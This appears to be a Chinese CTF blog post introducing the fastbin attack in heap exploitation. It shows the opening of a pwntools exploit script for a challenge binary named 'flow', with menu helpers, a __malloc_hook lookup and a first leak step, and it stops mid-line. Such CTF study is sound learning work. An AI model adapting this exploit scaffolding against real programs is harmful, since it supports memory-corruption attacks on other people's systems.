pwn 堆入门之fastbin attack

b站原本有一个对堆基础讲的挺好的，好像叫 pwn术进阶的堆溢出，但刚刚去看已经没了，好家伙，还好我刚看完，哈哈哈。

flow

涅普计划-ctf入门课堆溢出

#!/usr/bin/env python2
from pwn import *

context(os="linux", arch="amd64", log_level="debug")

#libc
libc=ELF("libc.so.6")
malloc_libc=libc.symbols['__malloc_hook']

menu='ch:'
def add(index,size,content):
	io.sendlineafter(menu,"1")
	io.sendlineafter("?",str(index))
	io.sendlineafter("??",str(size))
	io.sendlineafter(":",content)

def edit(index,size,content):
	io.sendlineafter(menu,"3")
	io.sendlineafter("?",str(index))
	io.sendlineafter("??",str(size))
	io.sendlineafter("say something:",content)

def delet(index):
	io.sendlineafter(menu,"2")
	io.sendlineafter("?",str(index))

def show(index):
	io.sendlineafter(menu,"4")
	io.sendlineafter("?",str(index))
def b(addr):
	# bk="b *$rebase("+str(addr)+")"
	bk="b *"+str(addr)
	attach(io,bk)
	success("attach")
def main(debug):
    global io
    if debug == 0:
        io = process("./flow")
    else:
        io = remote("")
    #leak
    add(0,0x80,'freedom')   #unsorted bins<